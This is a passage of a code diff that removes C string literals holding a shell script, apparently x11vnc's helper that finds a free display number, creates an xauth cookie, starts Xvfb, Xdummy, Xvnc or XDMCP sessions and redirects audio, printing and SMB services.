-" if [ \"X$have_gnome_session\" != \"X\" ]; then\n"
-" echo \"$have_gnome_session\"\n"
-" return\n"
-" elif [ \"X$have_startkde\" != \"X\" ]; then\n"
-" echo \"$have_startkde\"\n"
-" return\n"
-" elif [ \"X$have_startxfce\" != \"X\" ]; then\n"
-" echo \"$have_startxfce\"\n"
-" return\n"
-" fi\n"
-" fi\n"
-" fi\n"
-" if [ -f \"$home/.xsession\" ]; then\n"
-" echo \"$home/.xsession\"\n"
-" return\n"
-" elif [ -f \"$home/.xinitrc\" ]; then\n"
-" echo \"$home/.xinitrc\"\n"
-" return\n"
-" fi\n"
-" if [ \"X$have_xterm\" != \"X\" ]; then\n"
-" echo $have_xterm\n"
-" return\n"
-" else\n"
-" echo \".xinitrc\"\n"
-" fi\n"
-"}\n"
-"\n"
-"check_redir_services() {\n"
-" redir_daemon=\"\"\n"
-" need_env=\"\"\n"
-" if echo \"$sess\" | grep '^env ' > /dev/null; then\n"
-" sess=`echo \"$sess\" | sed -e 's/^env //'`\n"
-" need_env=1\n"
-" fi\n"
-" if [ \"X$FD_ESD\" != \"X\" -a \"X$have_esddsp\" != \"X\" ]; then\n"
-" if echo \"$FD_ESD\" | grep '^DAEMON-' > /dev/null; then\n"
-" FD_ESD=`echo \"$FD_ESD\" | sed -e 's/DAEMON-//'`\n"
-" rport=`echo \"$FD_ESD\" | sed -e 's/^.*://'`\n"
-" dport=`expr $rport + 1`\n"
-" dport=`freeport $dport`\n"
-" FD_ESD=$dport\n"
-" redir_daemon=\"$redir_daemon,TS_ESD_REDIR:$dport:$rport\"\n"
-" fi\n"
-" if echo \"$FD_ESD\" | grep ':' > /dev/null; then\n"
-" :\n"
-" else\n"
-" FD_ESD=\"localhost:$FD_ESD\"\n"
-" fi\n"
-" sess=\"ESPEAKER=$FD_ESD $have_esddsp -s $FD_ESD $sess\"\n"
-" need_env=1\n"
-" fi\n"
-" if [ \"X$FD_CUPS\" != \"X\" ]; then\n"
-" if echo \"$FD_CUPS\" | grep '^DAEMON-' > /dev/null; then\n"
-" FD_CUPS=`echo \"$FD_CUPS\" | sed -e 's/DAEMON-//'`\n"
-" rport=`echo \"$FD_CUPS\" | sed -e 's/^.*://'`\n"
-" dport=`expr $rport + 1`\n"
-" dport=`freeport $dport`\n"
-" FD_CUPS=$dport\n"
-" redir_daemon=\"$redir_daemon,TS_CUPS_REDIR:$dport:$rport\"\n"
-" fi\n"
-" if echo \"$FD_CUPS\" | grep ':' > /dev/null; then\n"
-" :\n"
-" else\n"
-" FD_CUPS=\"localhost:$FD_CUPS\"\n"
-" fi\n"
-" csr=`echo \"$FD_CUPS\" | awk -F: '{print $1}'`\n"
-" ipp=`echo \"$FD_CUPS\" | awk -F: '{print $2}'`\n"
-" old=`strings -a /usr/sbin/cupsd 2>/dev/null | grep 'CUPS.v1\\.[01]'`\n"
-" if [ \"X$old\" != \"X\" ]; then\n"
-" FD_CUPS=`echo \"$FD_CUPS\" | sed -e 's/:.*$//'`\n"
-" fi\n"
-" sess=\"CUPS_SERVER=$FD_CUPS IPP_PORT=$ipp $sess\"\n"
-" need_env=1\n"
-" fi\n"
-"\n"
-" if [ \"X$FD_SMB\" != \"X\" ]; then\n"
-" if echo \"$FD_SMB\" | grep '^DAEMON-' > /dev/null; then\n"
-" FD_SMB=`echo \"$FD_SMB\" | sed -e 's/DAEMON-//'`\n"
-" rport=`echo \"$FD_SMB\" | sed -e 's/^.*://'`\n"
-" dport=`expr $rport + 1`\n"
-" dport=`freeport $dport`\n"
-" FD_SMB=$dport\n"
-" redir_daemon=\"$redir_daemon,TS_SMB_REDIR:$dport:$rport\"\n"
-" fi\n"
-" if echo \"$FD_SMB\" | grep ':' > /dev/null; then\n"
-" :\n"
-" else\n"
-" FD_SMB=\"localhost:$FD_SMB\"\n"
-" fi\n"
-" smh=`echo \"$FD_SMB\" | awk -F: '{print $1}'`\n"
-" smp=`echo \"$FD_SMB\" | awk -F: '{print $2}'`\n"
-" if [ \"X$smh\" = \"X\" ]; then\n"
-" smh=localhost\n"
-" fi\n"
-" sess=\"SMB_SERVER=$FD_SMB SMB_HOST=$smh SMB_PORT=$smp $sess\"\n"
-" need_env=1\n"
-" fi\n"
-"\n"
-" if [ \"X$FD_NAS\" != \"X\" ]; then\n"
-" if echo \"$FD_NAS\" | grep '^DAEMON-' > /dev/null; then\n"
-" FD_NAS=`echo \"$FD_NAS\" | sed -e 's/DAEMON-//'`\n"
-" rport=`echo \"$FD_NAS\" | sed -e 's/^.*://'`\n"
-" dport=`expr $rport + 1`\n"
-" dport=`freeport $dport`\n"
-" FD_NAS=$dport\n"
-" redir_daemon=\"$redir_daemon,TS_NAS_REDIR:$dport:$rport\"\n"
-" fi\n"
-" if echo \"$FD_NAS\" | grep ':' > /dev/null; then\n"
-" :\n"
-" else\n"
-" FD_NAS=\"tcp/localhost:$FD_NAS\"\n"
-" fi\n"
-" sess=\"AUDIOSERVER=$FD_NAS $sess\"\n"
-" need_env=1\n"
-" fi\n"
-" if [ \"X$need_env\" != \"X\" ]; then\n"
-" sess=\"env $sess\"\n"
-" fi\n"
-" redir_daemon=`echo \"$redir_daemon\" | sed -e 's/^,*//'`\n"
-" echo \"redir_daemon=$redir_daemon\" 1>&2\n"
-"}\n"
-"\n"
-"rchk() {\n"
-" rr=rr\n"
-"}\n"
-"\n"
-"dL=\"-L\"\n"
-"if uname -sr | egrep 'SunOS 5\\.[5-8]' > /dev/null; then\n"
-" dL=\"-h\"\n"
-"fi\n"
-"\n"
-"# a portable tmp file creator\n"
-"mytmp() {\n"
-" tf=$1\n"
-" if type mktemp > /dev/null 2>&1; then\n"
-" # if we have mktemp(1), use it:\n"
-" tf2=\"$tf.XXXXXX\"\n"
-" tf2=`mktemp \"$tf2\"`\n"
-" if [ \"X$tf2\" != \"X\" -a -f \"$tf2\" ]; then\n"
-" if [ \"X$DEBUG_MKTEMP\" != \"X\" ]; then\n"
-" echo \"mytmp-mktemp: $tf2\" 1>&2\n"
-" fi\n"
-" echo \"$tf2\"\n"
-" return\n"
-" fi\n"
-" fi\n"
-" # fallback to multiple cmds:\n"
-" rm -rf \"$tf\" || exit 1\n"
-" if [ -d \"$tf\" ]; then\n"
-" echo \"tmp file $tf still exists as a directory.\"\n"
-" exit 1\n"
-" elif [ $dL \"$tf\" ]; then\n"
-" echo \"tmp file $tf still exists as a symlink.\"\n"
-" exit 1\n"
-" elif [ -f \"$tf\" ]; then\n"
-" echo \"tmp file $tf still exists.\"\n"
-" exit 1\n"
-" fi\n"
-" touch \"$tf\" || exit 1\n"
-" chmod 600 \"$tf\" || exit 1\n"
-" rchk\n"
-" if [ \"X$DEBUG_MKTEMP\" != \"X\" ]; then\n"
-" echo \"mytmp-touch: $tf\" 1>&2\n"
-" fi\n"
-" echo \"$tf\"\n"
-"}\n"
-"\n"
-"missing_mesg() {\n"
-" echo \"\" 1>&2\n"
-" echo \"The program \\\"$1\\\" could not be found in PATH and standard locations.\" 1>&2\n"
-" echo \"You probably need to install a package that provides the \\\"$1\\\" program.\" 1>&2\n"
-" echo \"\" 1>&2\n"
-"}\n"
-"\n"
-"put_back_LC_ALL() {\n"
-" if [ \"X$X11VNC_CREATE_LC_ALL_C_OK\" = \"X\" ]; then\n"
-" if [ \"X$LC_ALL_save\" = \"X\" ]; then\n"
-" unset LC_ALL\n"
-" else\n"
-" LC_ALL=\"$LC_ALL_save\"\n"
-" fi\n"
-" fi\n"
-"}\n"
-"\n"
-"server() {\n"
-" authfile=`auth`\n"
-" sess=`findsession`\n"
-" DISPLAY=:$N\n"
-" export DISPLAY\n"
-" stmp=\"\"\n"
-" noxauth=\"\"\n"
-" if [ \"X$have_root\" != \"X\" -a \"X$USER\" != \"Xroot\" ]; then\n"
-" sess=\"env DISPLAY=:$N $sess\"\n"
-" noxauth=\"1\"\n"
-" fi\n"
-"\n"
-" redir_daemon=\"\"\n"
-" check_redir_services\n"
-"\n"
-" rmf=\"/nosuch\"\n"
-" if echo \"$sess\" | grep '[ ]' > /dev/null; then\n"
-" stmp=/tmp/.cd$$`random`\n"
-" stmp=`mytmp \"$stmp\"`\n"
-" touch $stmp\n"
-" chmod 755 $stmp || exit 1\n"
-" echo \"#!/bin/sh\" > $stmp\n"
-" #echo \"(id; env; env | grep XAUTHORITY | sed -e 's/XAUTHORITY=//' | xargs ls -l) > /tmp/ENV.OUT.$$\" >> $stmp\n"
-" if [ \"X$SAVE_PATH\" != \"X\" ]; then\n"
-" echo \"PATH=\\\"$SAVE_PATH\\\"\" >> $stmp\n"
-" echo \"export PATH\" >> $stmp\n"
-" fi\n"
-" if [ \"X$noxauth\" = \"X1\" ]; then\n"
-" echo \"unset XAUTHORITY\" >> $stmp\n"
-" fi\n"
-" echo \"$sess\" >> $stmp\n"
-" echo \"sleep 1\" >> $stmp\n"
-" echo \"rm -f $stmp\" >> $stmp\n"
-" sess=$stmp\n"
-" rmf=\"$stmp\"\n"
-" fi\n"
-"\n"
-" if [ \"X$have_root\" != \"X\" -a \"X$USER\" != \"Xroot\" ]; then\n"
-" ctmp1=/tmp/.xat1_$$`random`\n"
-" ctmp1=`mytmp \"$ctmp1\"`\n"
-" ctmp2=/tmp/.xat2_$$`random`\n"
-" ctmp2=`mytmp \"$ctmp2\"`\n"
-" touch $ctmp1 $ctmp2\n"
-" $have_xauth -f $authfile nextract - :$N > $ctmp1\n"
-" $have_xauth -f $authfile nextract - `hostname`:$N > $ctmp2\n"
-" chown $USER $ctmp1 $ctmp2\n"
-" (unset XAUTHORITY; su - $USER -c \"$have_xauth nmerge - < $ctmp1\" 1>&2)\n"
-" (unset XAUTHORITY; su - $USER -c \"$have_xauth nmerge - < $ctmp2\" 1>&2)\n"
-" rm -f $ctmp1 $ctmp2\n"
-" XAUTHORITY=$authfile\n"
-" export XAUTHORITY\n"
-" sess=\"/bin/su - $USER -c $sess\"\n"
-" else\n"
-" $have_xauth -f $authfile nextract - :$N | $have_xauth nmerge -\n"
-" $have_xauth -f $authfile nextract - `hostname`:$N | $have_xauth nmerge -\n"
-" fi\n"
-"\n"
-" result=0\n"
-" #ns=4\n"
-" ns=0\n"
-" ns2=1\n"
-" #if uname | grep SunOS > /dev/null; then\n"
-" # ns=2\n"
-" #fi\n"
-"\n"
-"\n"
-" if [ \"X$use_xdmcp_query\" = \"X1\" ]; then\n"
-" # we cannot use -nolisten tcp\n"
-" if [ \"X$FD_XDMCP_IF\" != \"X\" ]; then\n"
-" lhost=$FD_XDMCP_IF\n"
-" elif [ \"X$have_netstat\" = \"X\" ]; then\n"
-" lhost=localhost\n"
-" elif $have_netstat -an | grep -w 177 | grep -w udp > /dev/null; then\n"
-" lhost=localhost\n"
-" elif $have_netstat -an | grep -w 177 | grep -w udp6 > /dev/null; then\n"
-" lhost=::1\n"
-" else\n"
-" lhost=localhost\n"
-" fi\n"
-" echo \"$* -once -query $lhost $FD_OPTS\" 1>&2\n"
-" put_back_LC_ALL\n"
-" if [ \"X$have_root\" != \"X\" ]; then\n"
-" if [ -r $authfile ]; then\n"
-" $have_nohup $* -once -query $lhost -auth $authfile $FD_OPTS 1>&2 &\n"
-" else\n"
-" # why did we have this?\n"
-" $have_nohup $* -once -query $lhost $FD_OPTS 1>&2 &\n"
-" fi\n"
-" else\n"
-" if [ \"X$ns\" = \"X0\" ]; then\n"
-" $have_nohup sh -c \"$* -once -query $lhost -auth $authfile $FD_OPTS\" 1>&2 &\n"
-" else\n"
-" $have_nohup sh -c \"(sleep $ns; $* -once -query $lhost -auth $authfile $FD_OPTS)\" 1>&2 &\n"
-" #result=1\n"
-" fi\n"
-" fi\n"
-" pid=$!\n"
-" sleep 10\n"
-" elif [ \"X$have_startx\" != \"X\" -o \"X$have_xinit\" != \"X\" ]; then\n"
-" if [ \"X$have_xinit\" != \"X\" ]; then\n"
-" sxcmd=$have_xinit\n"
-" else\n"
-" sxcmd=$have_startx\n"
-" fi\n"
-" echo \"$sxcmd $sess -- $* $nolisten -auth $authfile $FD_OPTS\" 1>&2\n"
-" put_back_LC_ALL\n"
-" if [ \"X$have_root\" != \"X\" ]; then\n"
-" $sxcmd $sess -- $* $nolisten -auth $authfile $FD_OPTS 1>&2 &\n"
-" else\n"
-" if [ \"X$ns\" = \"X0\" ]; then\n"
-" $have_nohup sh -c \"$sxcmd $sess -- $* $nolisten -auth $authfile $FD_OPTS\" 1>&2 &\n"
-" else\n"
-" # Why did we ever sleep before starting the server??\n"
-" $have_nohup sh -c \"(sleep $ns; $sxcmd $sess -- $* $nolisten -auth $authfile $FD_OPTS)\" 1>&2 &\n"
-" #result=1\n"
-" fi\n"
-" fi\n"
-" pid=$!\n"
-" else\n"
-" # need to emulate startx/xinit ourselves...\n"
-" echo \"$* $nolisten -auth $authfile $FD_OPTS\" 1>&2\n"
-" put_back_LC_ALL\n"
-" if [ \"X$have_root\" != \"X\" ]; then\n"
-" $have_nohup $* $nolisten -auth $authfile $FD_OPTS 1>&2 &\n"
-" pid=$!\n"
-" sleep 3\n"
-" $have_nohup $sess 1>&2 &\n"
-" else\n"
-" if [ \"X$ns\" = \"X0\" ]; then\n"
-" $have_nohup sh -c \"$* $nolisten -auth $authfile $FD_OPTS\" 1>&2 &\n"
-" else\n"
-" $have_nohup sh -c \"(sleep $ns; $* $nolisten -auth $authfile $FD_OPTS)\" 1>&2 &\n"
-" #result=1\n"
-" fi\n"
-" pid=$!\n"
-" sleep 3\n"
-" $have_nohup sh -c \"(sleep 3; $sess)\" 1>&2 &\n"
-" fi\n"
-" fi\n"
-"\n"
-" LC_ALL=C\n"
-" export LC_ALL\n"
-"\n"
-" if uname | grep SunOS > /dev/null; then\n"
-" $have_nohup sh -c \"(sleep 150; rm -f $rmf)\" 1>&2 &\n"
-" else\n"
-" $have_nohup sh -c \"(sleep 150; rm -f $rmf $authfile)\" 1>&2 &\n"
-" fi\n"
-"\n"
-" t=0\n"
-" tmax=5\n"
-" while [ $t -lt $tmax ]\n"
-" do\n"
-" t=`expr $t + 1`\n"
-" sleep $ns2\n"
-" pid2=`head -n 1 \"/tmp/.X$N-lock\" 2>/dev/null | sed -e 's/[ ]//g' | grep '^[0-9][0-9]*$'`\n"
-" if [ \"X$pid2\" = \"X\" ]; then\n"
-" pid2=9999999\n"
-" fi\n"
-" if [ \"X$result\" = \"X1\" ]; then\n"
-" break\n"
-" elif [ -d /proc/$pid2 ]; then\n"
-" result=1\n"
-" break\n"
-" elif kill -0 $pid2 2>/dev/null; then\n"
-" result=1\n"
-" break\n"
-" elif [ -d /proc/$pid ]; then\n"
-" result=1\n"
-" break\n"
-" elif kill -0 $pid 2>/dev/null; then\n"
-" result=1\n"
-" break\n"
-" else\n"
-" result=0\n"
-" fi\n"
-" if [ \"X$have_netstat\" != \"X\" ]; then\n"
-" if $have_netstat -an | grep \"/tmp/.X11-unix/X$N\\$\" > /dev/null; then\n"
-" result=1\n"
-" fi\n"
-" fi\n"
-" done\n"
-"\n"
-" if [ \"X$redir_daemon\" != \"X\" -a \"X$result\" = \"X1\" ]; then\n"
-" redir_daemon=`echo \"$redir_daemon\" | sed -e 's/[~!$&*()|;?<>\"]//g' -e \"s/'//g\"`\n"
-" xprog=$X11VNC_PROG\n"
-" if [ \"X$xprog\" = \"X\" ]; then\n"
-" xprog=x11vnc\n"
-" fi\n"
-" echo \"running: $xprog -sleepin 10 -auth $authfile -tsd '$redir_daemon'\" 1>&2\n"
-" $have_nohup sh -c \"$xprog -sleepin 10 -auth $authfile -tsd '$redir_daemon' &\" 2>.tsd.log.$USER 1>&2 &\n"
-" fi\n"
-"}\n"
-"\n"
-"try_X() {\n"
-" if [ \"X$use_xdmcp_query\" = \"X1\" ]; then\n"
-" if [ \"X$have_X\" != \"X\" ]; then\n"
-" server $have_X :$N\n"
-" elif [ \"X$have_Xorg\" != \"X\" ]; then\n"
-" server $have_Xorg :$N\n"
-" elif [ \"X$have_XFree86\" != \"X\" ]; then\n"
-" server $have_XFree86 :$N\n"
-" elif [ \"X$have_Xsun\" != \"X\" ]; then\n"
-" server $have_Xsun :$N\n"
-" fi\n"
-" elif [ \"X$have_xinit\" != \"X\" ]; then\n"
-" save_have_startx=$have_startx\n"
-" have_startx=\"\"\n"
-" server :$N\n"
-" have_startx=$save_have_startx\n"
-" else\n"
-" server :$N\n"
-" fi\n"
-"}\n"
-"\n"
-"try_Xvnc() {\n"
-" if [ \"X$have_Xvnc\" = \"X\" ]; then\n"
-" missing_mesg Xvnc\n"
-" return\n"
-" fi\n"
-"\n"
-" server $have_Xvnc :$N -geometry $geom -depth $depth\n"
-"}\n"
-"\n"
-"try_Xsrv() {\n"
-" if [ \"X$FD_XSRV\" = \"X\" ]; then\n"
-" return\n"
-" fi\n"
-"\n"
-" server $FD_XSRV :$N -geometry $geom -depth $depth\n"
-"}\n"
-"\n"
-"add_modmap() {\n"
-" if [ \"X$have_root\" = \"X\" ]; then\n"
-" $have_nohup sh -c \"(\n"
-" sleep 10;\n"
-" $have_xmodmap -display :$N -e 'keycode any = Shift_R' \\\n"
-" -e 'add Shift = Shift_L Shift_R' \\\n"
-" -e 'keycode any = Control_R' \\\n"
-" -e 'add Control = Control_L Control_R' \\\n"
-" -e 'keycode any = Alt_L' \\\n"
-" -e 'keycode any = Alt_R' \\\n"
-" -e 'keycode any = Meta_L' \\\n"
-" -e 'clear Mod1' \\\n"
-" -e 'add Mod1 = Alt_L Alt_R Meta_L';\n"
-" if uname | grep SunOS > /dev/null; then\n"
-" for sym in SunAudioMute SunAudioLowerVolume SunAudioRaiseVolume\n"
-" do\n"
-" if $have_xmodmap -pk | grep -w \\$sym > /dev/null; then\n"
-" :\n"
-" else\n"
-" $have_xmodmap -e \\\"keycode any = \\$sym\\\"\n"
-" fi\n"
-" done\n"
-" fi\n"
-"\n"
-" )\" 1>&2 &\n"
-" else\n"
-" (\n"
-" sleep 6;\n"
-" $have_xmodmap -display :$N -e 'keycode any = Shift_R' \\\n"
-" -e 'add Shift = Shift_L Shift_R' \\\n"
-" -e 'keycode any = Control_R' \\\n"
-" -e 'add Control = Control_L Control_R' \\\n"
-" -e 'keycode any = Alt_L' \\\n"
-" -e 'keycode any = Alt_R' \\\n"
-" -e 'keycode any = Meta_L' \\\n"
-" -e 'clear Mod1' \\\n"
-" -e 'add Mod1 = Alt_L Alt_R Meta_L';\n"
-" # this is to workaround a bug with JDS Solaris 10 gnome-session-daemon.\n"
-" if uname | grep SunOS > /dev/null; then\n"
-" for sym in SunAudioMute SunAudioLowerVolume SunAudioRaiseVolume\n"
-" do\n"
-" if $have_xmodmap -pk | grep -w $sym > /dev/null; then\n"
-" :\n"
-" else\n"
-" $have_xmodmap -e \"keycode any = $sym\"\n"
-" fi\n"
-" done\n"
-" fi\n"
-" ) 1>&2 &\n"
-" fi\n"
-"}\n"
-"\n"
-"try_Xvfb() {\n"
-" if [ \"X$have_Xvfb\" = \"X\" ]; then\n"
-" missing_mesg Xvfb\n"
-" return\n"
-" fi\n"
-"\n"
-" sarg=\"-screen\"\n"
-" if uname | grep SunOS > /dev/null; then\n"
-" if grep /usr/openwin/bin/Xsun $have_Xvfb > /dev/null; then\n"
-" sarg=\"screen\"\n"
-" fi\n"
-" fi\n"
-" margs=\"\"\n"
-" if $have_Xvfb -help 2>&1 | grep '^\\+kb[ ].*Keyboard Extension' >/dev/null; then\n"
-" margs=\"+kb\"\n"
-" fi\n"
-"\n"
-" # currently not enabled in Xvfb's we see.\n"
-"# if $have_Xvfb -extension MOOMOO 2>&1 | grep -w RANDR >/dev/null; then\n"
-"# margs=\"$margs +extension RANDR\"\n"
-"# fi\n"
-"\n"
-" if [ $depth -ge 16 ]; then\n"
-" # avoid DirectColor for default visual:\n"
-" margs=\"$margs -cc 4\"\n"
-" fi\n"
-" server $have_Xvfb :$N $sarg 0 ${geom}x${depth} $margs\n"
-"\n"
-" if [ \"X$result\" = \"X1\" -a \"X$have_xmodmap\" != \"X\" ]; then\n"
-" add_modmap\n"
-" fi\n"
-"}\n"
-"\n"
-"try_Xdummy() {\n"
-" if [ \"X$have_Xdummy\" = \"X\" ]; then\n"
-" missing_mesg Xdummy\n"
-" return\n"
-" fi\n"
-" if [ \"X$FD_XDUMMY_RUN_AS_ROOT\" != \"X\" -a \"X$have_root\" = \"X\" ]; then\n"
-" return\n"
-" fi\n"
-"\n"
-" server $have_Xdummy :$N -geometry $geom -depth $depth\n"
-" \n"
-" if [ \"X$result\" = \"X1\" -a \"X$have_xprop\" != \"X\" ]; then\n"
-" (sleep 1; $have_xprop -display :$N -root -f X11VNC_TRAP_XRANDR 8s -set X11VNC_TRAP_XRANDR 1 >/dev/null 2>&1) &\n"
-" sleep 1\n"
-" fi\n"
-"}\n"
-"\n"
-"\n"
-"cookie() {\n"
-" cookie=\"\"\n"
-" if [ \"X$have_mcookie\" != \"X\" ]; then\n"
-" cookie=`mcookie`\n"
-" elif [ \"X$have_md5sum\" != \"X\" ]; then\n"
-" if [ -c /dev/urandom ]; then\n"
-" cookie=`dd if=/dev/urandom count=32 2>/dev/null | md5sum | awk '{print $1}'`\n"
-" elif [ -c /dev/random ]; then\n"
-" cookie=`dd if=/dev/random count=32 2>/dev/null | md5sum | awk '{print $1}'`\n"
-" fi\n"
-" if [ \"X$cookie\" = \"X\" ]; then\n"
-" r=`random`\n"
-" cookie=`(echo $r; date; uptime; ps -ealf 2>&1) | md5sum | awk '{print $1}'`\n"
-" fi\n"
-" elif [ \"X$have_xauth\" != \"X\" ]; then\n"
-" if uname | grep SunOS > /dev/null; then\n"
-" cookie=`$have_xauth list | awk '{print $NF}' | tail -1`\n"
-" else\n"
-" cookie=`$have_xauth list | awk '{print $NF}' | tail -n 1`\n"
-" fi\n"
-" fi\n"
-" if [ \"X$cookie\" = \"X\" ]; then\n"
-" # oh well..\n"
-" for k in 1 2 3 4\n"
-" do\n"
-" r=`random`\n"
-" cookie=$cookie`printf \"%08x\" \"${r}$$\"`\n"
-" done\n"
-" fi\n"
-" echo \"$cookie\"\n"
-"}\n"
-"\n"
-"auth() {\n"
-" if [ \"X$have_xauth\" = \"X\" ]; then\n"
-" exit 1\n"
-" fi\n"
-" tmp=/tmp/.xas$$`random`\n"
-" tmp=`mytmp \"$tmp\"`\n"
-" touch $tmp\n"
-" chmod 600 $tmp || exit 1\n"
-" if [ ! -f $tmp ]; then\n"
-" exit 1\n"
-" fi\n"
-" cook=`cookie`\n"
-" $have_xauth -f $tmp add :$N . $cook 1>&2\n"
-" $have_xauth -f $tmp add `hostname`:$N . $cook 1>&2\n"
-" if [ \"X$CREATE_DISPLAY_EXEC\" != \"X\" ]; then\n"
-" ls -l $tmp 1>&2\n"
-" $have_xauth -f $tmp list 1>&2\n"
-" fi\n"
-" echo \"$tmp\"\n"
-"}\n"
-"\n"
-"freeport() {\n"
-" base=$1\n"
-" if [ \"X$have_uname\" != \"X\" -a \"X$have_netstat\" != \"X\" ]; then\n"
-" inuse=\"\"\n"
-" if $have_uname | grep Linux > /dev/null; then\n"
-" inuse=`$have_netstat -ant | egrep 'LISTEN|WAIT|ESTABLISH|CLOSE' | awk '{print $4}' | sed 's/^.*://'`\n"
-" elif $have_uname | grep SunOS > /dev/null; then\n"
-" inuse=`$have_netstat -an -f inet -P tcp | grep LISTEN | awk '{print $1}' | sed 's/^.*\\.//'`\n"
-" elif $have_uname | grep -i bsd > /dev/null; then\n"
-" inuse=`$have_netstat -ant -f inet | grep LISTEN | awk '{print $4}' | sed 's/^.*\\.//'`\n"
-" # add others...\n"
-" fi\n"
-" fi\n"
-" i=0\n"
-" ok=\"\"\n"
-" while [ $i -lt 500 ]\n"
-" do\n"
-" tryp=`expr $base + $i`\n"
-" if echo \"$inuse\" | grep -w \"$tryp\" > /dev/null; then\n"
-" :\n"
-" elif echo \"$palloc\" | tr ' ' '\\n' | grep -w \"$tryp\" > /dev/null; then\n"
-" :\n"
-" else\n"
-" ok=$tryp\n"
-" break\n"
-" fi\n"
-" i=`expr $i + 1`\n"
-" done\n"
-" if [ \"X$ok\" != \"X\" ]; then\n"
-" base=$ok\n"
-" fi\n"
-" if [ \"X$palloc\" = \"X\" ]; then\n"
-" palloc=\"$base\"\n"
-" else\n"
-" palloc=\"$palloc $base\"\n"
-" fi\n"
-" echo \"$base\"\n"
-"}\n"
-"\n"
-"\n"
-"depth0=24\n"
-"geom0=1280x1024\n"
-"depth=${depth:-24}\n"
-"geom=${geom:-1280x1024}\n"
-"\n"
-"nolisten=${FD_NOLISTEN:-\"-nolisten tcp\"}\n"
-"\n"
-"if [ \"X$X11VNC_CREATE_GEOM\" != \"X\" -a \"X$FD_GEOM\" = \"X\" ]; then\n"
-" FD_GEOM=$X11VNC_CREATE_GEOM\n"
-"fi\n"
-"\n"
-"if [ \"X$FD_GEOM\" != \"X\" -a \"X$FD_GEOM\" != \"XNONE\" ]; then\n"
-" x1=`echo \"$FD_GEOM\" | awk -Fx '{print $1}'`\n"
-" y1=`echo \"$FD_GEOM\" | awk -Fx '{print $2}'`\n"
-" d1=`echo \"$FD_GEOM\" | awk -Fx '{print $3}'`\n"
-" if [ \"X$x1\" != \"X\" -a \"X$y1\" != \"X\" ]; then\n"
-" geom=\"${x1}x${y1}\"\n"
-" fi\n"
-" if [ \"X$d1\" != \"X\" ]; then\n"
-" depth=\"${d1}\"\n"
-" fi\n"
-"fi\n"
-"\n"
-"depth=`echo \"$depth\" | head -n 1`\n"
-"geom=`echo \"$geom\" | head -n 1`\n"
-"\n"
-"if echo \"$depth\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" :\n"
-"else\n"
-" depth=$depth0\n"
-"fi\n"
-"if echo \"$geom\" | grep '^[0-9][0-9]*x[0-9][0-9]*$' > /dev/null; then\n"
-" :\n"
-"else\n"
-" geom=$geom0\n"
-"fi\n"
-"\n"
-"if [ \"X$USER\" = \"X\" ]; then\n"
-" USER=$LOGNAME\n"
-"fi\n"
-"if [ \"X$USER\" = \"X\" ]; then\n"
-" USER=`whoami`\n"
-"fi\n"
-"\n"
-"# Set PATH to have a better chance of finding things:\n"
-"SAVE_PATH=$PATH\n"
-"PATH=$PATH:/usr/X11R6/bin:/usr/bin/X11:/usr/openwin/bin:/usr/dt/bin:/opt/kde4/bin:/opt/kde3/bin:/opt/gnome/bin:/usr/bin:/bin:/usr/sfw/bin:/usr/local/bin\n"
-"\n"
-"have_root=\"\"\n"
-"id0=`id`\n"
-"if id | sed -e 's/ gid.*$//' | grep -w root > /dev/null; then\n"
-" have_root=\"1\"\n"
-"fi\n"
-"\n"
-"p_ok=0\n"
-"if [ \"`type -p /bin/sh`\" = \"/bin/sh\" ]; then\n"
-" p_ok=1\n"
-"fi\n"
-"\n"
-"for prog in startx xinit xdm gdm kdm xterm Xdummy Xvfb Xvnc xauth xdpyinfo mcookie md5sum xmodmap startkde startlxde dbus-launch gnome-session blackbox fvwm2 mwm openbox twm windowmaker wmaker enlightenment metacity X Xorg XFree86 Xsun Xsession dtwm netstat nohup esddsp konsole gnome-terminal x-terminal-emulator perl startxfce4 startxfce xprop\n"
-"do\n"
-" p2=`echo \"$prog\" | sed -e 's/-/_/g'`\n"
-" eval \"have_$p2=''\"\n"
-" if type $prog > /dev/null 2>&1; then\n"
-" bpath=`which $prog | awk '{print $NF}'`\n"
-" if [ ! -x \"$bpath\" -o -d \"$bpath\" ]; then\n"
-" if [ \"X$p_ok\" = \"X1\" ]; then\n"
-" bpath=`type -p $prog | awk '{print $NF}'`\n"
-" fi\n"
-" if [ ! -x \"$bpath\" -o -d \"$bpath\" ]; then\n"
-" bpath=`type $prog | awk '{print $NF}'`\n"
-" fi\n"
-" fi\n"
-" eval \"have_$p2=$bpath\"\n"
-" fi\n"
-"done\n"
-"if [ \"X$have_xterm\" = \"X\" ]; then\n"
-" if [ \"X$have_gnome_terminal\" != \"X\" ]; then\n"
-" have_xterm=$have_gnome_terminal\n"
-" elif [ \"X$have_konsole\" != \"X\" ]; then\n"
-" have_xterm=$have_konsole\n"
-" elif [ \"X$have_x_terminal_emulator\" != \"X\" ]; then\n"
-" have_xterm=$have_x_terminal_emulator\n"
-" fi\n"
-"fi\n"
-"\n"
-"if [ \"X$have_nohup\" = \"X\" ]; then\n"
-" have_nohup=\"nohup\"\n"
-"fi\n"
-"\n"
-"N=`findfree`\n"
-"\n"
-"if [ \"X$N\" = \"X\" ]; then\n"
-" exit 1\n"
-"fi\n"
-"echo \"trying N=$N ...\" 1>&2\n"
-"\n"
-"if [ \"X$CREATE_DISPLAY_OUTPUT\" != \"X\" ]; then\n"
-" set | grep \"^have_\" 1>&2\n"
-"fi\n"
-"\n"
-"TRY=\"$1\"\n"
-"if [ \"X$TRY\" = \"X\" ]; then\n"
-" TRY=Xvfb,Xdummy\n"
-"fi\n"
-"\n"
-"for curr_try in `echo \"$TRY\" | tr ',' ' '`\n"
-"do\n"
-" result=0\n"
-" use_xdmcp_query=0\n"
-" if echo \"$curr_try\" | egrep '[+.-]xdmcp' > /dev/null; then\n"
-" use_xdmcp_query=1\n"
-" fi\n"
-"\n"
-" if [ \"X$X11VNC_XDM_ONLY\" = \"X1\" -a \"X$use_xdmcp_query\" = \"X0\" ]; then\n"
-" echo \"SKIPPING NON-XDMCP item '$curr_try' in X11VNC_XDM_ONLY=1 mode.\" 1>&2\n"
-" continue\n"
-" fi\n"
-" \n"
-" curr_try=`echo \"$curr_try\" | sed -e 's/[+.-]xdmcp//'`\n"
-" curr_try=`echo \"$curr_try\" | sed -e 's/[+.-]redirect//'`\n"
-"\n"
-" if echo \"$curr_try\" | grep -i '^Xdummy\\>' > /dev/null; then\n"
-" try_Xdummy\n"
-" elif echo \"$curr_try\" | grep -i '^Xdummy$' > /dev/null; then\n"
-" try_Xdummy\n"
